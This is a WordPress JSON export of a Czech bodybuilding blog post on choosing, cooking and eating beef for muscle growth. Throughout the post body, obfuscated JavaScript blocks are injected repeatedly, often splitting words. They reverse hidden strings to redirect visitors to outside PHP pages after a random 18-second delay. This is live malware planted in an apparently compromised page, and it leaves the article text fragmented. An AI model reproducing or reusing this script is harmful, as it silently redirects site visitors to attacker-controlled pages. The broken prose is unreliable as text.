{"id":614,"date":"2022-03-30T15:26:29","date_gmt":"2022-03-30T15:26:29","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=614"},"modified":"2022-03-17T08:12:47","modified_gmt":"2022-03-17T08:12:47","slug":"kde-vezi-hovezi","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/03\/30\/kde-vezi-hovezi\/","title":{"rendered":"KDE V\u011aZ\u00cd HOV\u011aZ\u00cd?"},"content":{"rendered":"<h3><strong>Jak\u00e9 m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zauj\u00edm\u00e1 \u010derven\u00e9 maso v\u00a0j\u00eddeln\u00ed\u010dku kulturist\u016f?<\/strong><\/h3>\n<p>Hov\u011bz\u00ed maso coby vysoce kvalitn\u00ed zdroj b\u00edlkovin v\u00e1m umo\u017en\u00ed je\u0161t\u011b v\u00fdrazn\u011bj\u0161\u00ed n\u00e1r\u016fst svalov\u00e9 hmoty, sta\u010d\u00ed jen dodr\u017eet n\u00e1sleduj\u00edc\u00ed pravidla ohledn\u011b v\u00fdb\u011bru, p\u0159\u00edpravy a konzumace.<\/p>\n<p>&nbsp;<\/p>\n<p>Bez ohledu na negativn\u00ed n\u00e1zory, kter\u00fdch se kolem hov\u011bz\u00edho masa v\u00a0posledn\u00edch dek\u00e1d\u00e1ch nahromadilo v\u00edc ne\u017e dost, plat\u00ed, \u017ee kdy\u017e dodr\u017eujete ur\u010dit\u00e1 pravidla, je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohle maso excelentn\u00ed potravinou nejenom pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce. P\u0159edstavuje cestu k\u00a0r\u016fstu svalov\u00e9 hmoty. Kl\u00ed\u010dem k\u00a0\u00fasp\u011bchu je v\u011bd\u011bt, kter\u00e9 kousky masa si vybrat a jak je spr\u00e1vn\u011b p\u0159ipravit.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>\n<h4>VYB\u00cdREJTE SI LIBOV\u00c9 KOUSKY<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-618 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/beef-g66a1d9b80_640-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/beef-g66a1d9b80_640-300x225.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/beef-g66a1d9b80_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/h4>\n<\/li>\n<\/ol>\n<p>Ne v\u0161echny kr\u00e1vy jsou stejn\u00e9 \u2013 nebo alespo\u0148 ne v\u0161echny \u010d\u00e1sti jejich t\u011bla. N\u011bkter\u00e9 kousky hov\u011bz\u00edho jsou libov\u011bj\u0161\u00ed ne\u017e jin\u00e9. A v\u011bt\u0161ina kulturist\u016f podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho ur\u010duje, jak\u00e9mu masu d\u00e1t p\u0159ednost. Kvalita zde v\u00edt\u011bz\u00ed nad cenou. 250 g libov\u00e9ho sv\u00ed\u010dkov\u00e9 nebo k\u00fdty m\u00e1 pouze 11-13 gram\u016f tuku (4-5 g nasycen\u00fdch tuk\u016f), zat\u00edmco stejn\u011b velk\u00e1 porce \u017eeb\u00edrka obsahuje a\u017e 79 gram\u016f tuku (23 g nasycen\u00fdch) a obsah kalori\u00ed vzroste ze 437 na 935.<\/p>\n<h4>KUPUJTE, POKUD MO\u017dNO, BIO HOV\u011aZ\u00cd MASO<\/h4>\n<p>Nez\u00e1le\u017e\u00ed ale pouze na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jak\u00fd kousek masa zvol\u00edte. kl\u00ed\u010dovou roli sehraje tak\u00e9, v\u00a0jak\u00fdch podm\u00ednk\u00e1ch byly kr\u00e1vy chovan\u00e9 a \u010d\u00edm je krmili. Jednou z\u00a0nejv\u011bt\u0161\u00edch v\u00fdhod bio hov\u011bz\u00edho masa je v\u00fdrazn\u011b lep\u0161\u00ed lipidov\u00fd profil. Obsahuje v\u00edce CLA a omega-3 mastn\u00fdch kyselin. Nav\u00edc je zcela prost\u00e9 syntetick\u00fdch hormon\u016f, antibiotik, herbicid\u016f a pesticid\u016f.<\/p>\n<p>Bio hov\u011bz\u00ed maso je v\u011bt\u0161inou dra\u017e\u0161\u00ed ne\u017e klasick\u00e9 hov\u011bz\u00ed ze skotu chovan\u00e9ho v\u00a0krav\u00ednech. V\u011bt\u0161ina spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f v\u00e1m ale potvrd\u00ed, \u017ee ten cenov\u00fd rozd\u00edl rozhodn\u011b s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toj\u00ed za <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u2013 a\u0165 u\u017e z\u00a0pohledu zdravotn\u00edho nebo co se t\u00fd\u010de vlivu na n\u00e1r\u016fst svalov\u00e9 hmoty.<\/p>\n<h4>NEBOJTE SE NASYCEN\u00ddCH TUK\u016e<\/h4>\n<p>Kulturist\u00e9 obvykle velice pe\u010dliv\u011b sleduj\u00ed p\u0159\u00edjem nasycen\u00fdch tuk\u016f. Do ur\u010dit\u00e9 m\u00edry <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u00e1 zcela svoje opodstatn\u011bn\u00ed, ale sou\u010dasn\u011b plat\u00ed, \u017ee nasycen\u00e9 tuky jsou pro t\u011blo v\u00a0rozumn\u00fdch d\u00e1vk\u00e1ch p\u0159\u00ednosem. Jsou kl\u00ed\u010dov\u00fdm komponentem p\u0159i produkci hormon\u016f, nap\u0159\u00edklad tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu. Pokud va\u0161e strava obsahuje jen velmi m\u00e1lo nasycen\u00fdch tuk\u016f, m\u016f\u017eete <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nep\u0159\u00edzniv\u011b ovlivnit hladinu tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu.<\/p>\n<p>Obecn\u011b plat\u00ed, \u017ee by kulturist\u00e9 m\u011bli asi polovinu kalori\u00ed ve form\u011b tuk\u016f \u010derpat ze zdrav\u00fdch tuk\u016f. Jejich zdrojem je nap\u0159\u00edklad olivov\u00fd a kanolov\u00fd olej, o\u0159echy, sem\u00ednka, avok\u00e1do a tu\u010dn\u011b ryby, nap\u0159. losos. Druh\u00e1 polovina d\u00e1vky tuk\u016f by m\u011bla poch\u00e1zet z\u00a0nasycen\u00fdch zdroj\u016f, jako jsou ml\u00e9\u010dn\u00e9 produkty, vaj\u00ed\u010dka a maso. Kulturist\u00e9 (a nejenom oni) by se m\u011bli vyh\u00fdbat trans tuk\u016fm (chemicky zm\u011bn\u011bn\u00fdm hydrogenovan\u00fdm olej\u016fm).<\/p>\n<h4><strong>MLET\u00c9 MASO TEPELN\u011a UPRAVUJTE PE\u010cLIV\u011aJI NE\u017d STEAKY<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-617 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280-300x201.jpg\" alt=\"\" width=\"300\" height=\"201\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280-300x201.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280-768x514.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280-1024x686.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280-1200x803.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/03\/ground-beef-g70750f657_1280.jpg 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/strong><\/h4>\n<p>Z hlediska p\u0159\u00edpadn\u00e9 kontaminace je mlet\u00e9 hov\u011bz\u00ed nejrizikov\u011bj\u0161\u00ed. Doba jeho tepeln\u00e9 \u00fapravy by tedy m\u011bla b\u00fdt dostate\u010dn\u011b dlouh\u00e1. Mlet\u00e9 maso byste m\u011bli p\u0159ipravovat pouze na stupe\u0148 medium a v\u00fd\u0161. Kdy\u017e takov\u00fd karban\u00e1tek nebo hamburger rozkroj\u00edte, nem\u011blo by b\u00fdt maso uvnit\u0159 v\u016fbec r\u016f\u017eov\u00e9.<\/p>\n<p>&nbsp;<\/p>\n<h4><strong>VYU\u017dIJTE HOV\u011aZ\u00cd MASO JAKO POMALU STRAVITELN\u00dd ZDROJ B\u00cdLKOVIN<\/strong><\/h4>\n<p>Zku\u0161en\u00ed kulturist\u00e9 v\u011bd\u00ed, v\u00a0\u010dem spo\u010d\u00edvaj\u00ed v\u00fdhody konzumace rychle a pomalu straviteln\u00fdch b\u00edlkovin v\u00a0r\u016fznou denn\u00ed dobu, v\u00a0z\u00e1vislosti na okam\u017eit\u00fdch pot\u0159eb\u00e1ch organismu. Rychle straviteln\u00e9 proteiny (nap\u0159\u00edklad syrov\u00e1tka a sojov\u00e9 b\u00edlkoviny) jsou excelentn\u00ed v\u00a0okam\u017eiku, kdy m\u00e1te za sebou dlouhou dobu bez p\u0159\u00edjmu b\u00edlkovin, tzn. nap\u0159\u00edklad po probuzen\u00ed nebo, kdy\u017e chcete po tr\u00e9ninku nastar<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat regeneraci.<\/p>\n<p>Pomalu straviteln\u00e9 formy b\u00edlkovin p\u0159ich\u00e1z\u00ed ke slovu b\u011bhem dne, kdy pot\u0159ebujete m\u00edt k\u00a0dispozici stabiln\u00ed d\u00e1vku aminokyselin. Hov\u011bz\u00ed maso je jedn\u00edm z\u00a0nejlep\u0161\u00edch zdroj\u016f pomalu straviteln\u00fdch b\u00edlkovin. Hod\u00ed se pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i pro konzumaci ve\u010der p\u0159ed span\u00edm, asi 90 minut po tr\u00e9ninku. Takov\u00fd postup umo\u017en\u00ed dos\u00e1hnout pomal\u00e9ho uvol\u0148ov\u00e1n\u00ed aminokyselin v\u00a0pr\u016fb\u011bhu noci, \u010d\u00edm\u017e se sni\u017euje riziko rozkladu svalov\u00e9 tk\u00e1n\u011b.<\/p>\n<h4><\/h4>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jak\u00e9 m\u00edsto zauj\u00edm\u00e1 \u010derven\u00e9 maso 